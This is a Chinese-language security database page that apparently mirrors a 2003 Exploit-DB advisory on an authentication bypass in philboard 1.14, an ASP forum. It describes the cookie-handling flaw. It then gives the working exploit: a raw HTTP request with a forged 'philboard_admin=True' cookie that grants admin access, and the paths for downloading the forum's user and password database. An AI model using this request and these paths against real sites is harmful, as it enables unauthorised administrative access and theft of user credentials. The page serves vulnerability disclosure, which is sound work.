philboard 1.14 – ‘philboard_admin.asp’ Authentication Bypass

philboard 1.14 – ‘philboard_admin.asp’ Authentication Bypass

漏洞ID 1053907 漏洞类型
发布时间 2003-05-29 更新时间 2003-05-29
图片[1]-philboard 1.14 – ‘philboard_admin.asp’ Authentication Bypass-安全小百科CVE编号 N/A
图片[2]-philboard 1.14 – ‘philboard_admin.asp’ Authentication Bypass-安全小百科CNNVD-ID N/A
漏洞平台 ASP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22673
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7739/info

A vulnerability has been discovered in the 'philboard_admin.asp' script used by Philboard. The problem occurs during authentication and may allow an attacker to gain unauthorized administrative access.

The issue presents itself when handling cookie-based authentication credentials.

By gaining administrative access an attacker may be capable of carrying out a variety of attacks.

It should be noted that although this vulnerability has been reported to affect philboard version 1.14 previous versions might also be affected. 

Use telnet and open target on port 80

GET /board/philboard_admin.asp HTTP/1.0
Host: example.com
Cookie: philboard_admin=True;

Download the database (users and password):

Usually, the database location can be found and download it from:
http://www.target.com/database/philboard.mdb
or
http://www.target.com/forum/database/philboard.mdb

相关推荐: Multiple Vendor DNS Cache Corruption Vulnerability

Multiple Vendor DNS Cache Corruption Vulnerability 漏洞ID 1105080 漏洞类型 Origin Validation Error 发布时间 1997-04-23 更新时间 1997-04-23 CVE编号…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享